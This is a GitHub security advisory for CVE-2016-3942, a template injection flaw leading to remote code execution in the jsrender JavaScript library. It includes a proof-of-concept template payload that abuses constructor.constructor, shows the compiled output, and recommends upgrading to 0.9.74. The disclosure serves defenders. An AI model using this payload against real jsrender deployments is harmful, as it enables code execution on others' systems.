borismoore/jsrender · Security

Template Injection in jsrender

GHSA ID
GHSA-r87w-47m8-22w3
CVE ID
CVE-2016-3942
Severity
medium
Published
Updated
CVSS
6.3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CVSS v3
6.3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Description

Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

Proof of Concept

//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } 

Recommendation

Update to version 0.9.74 or later.

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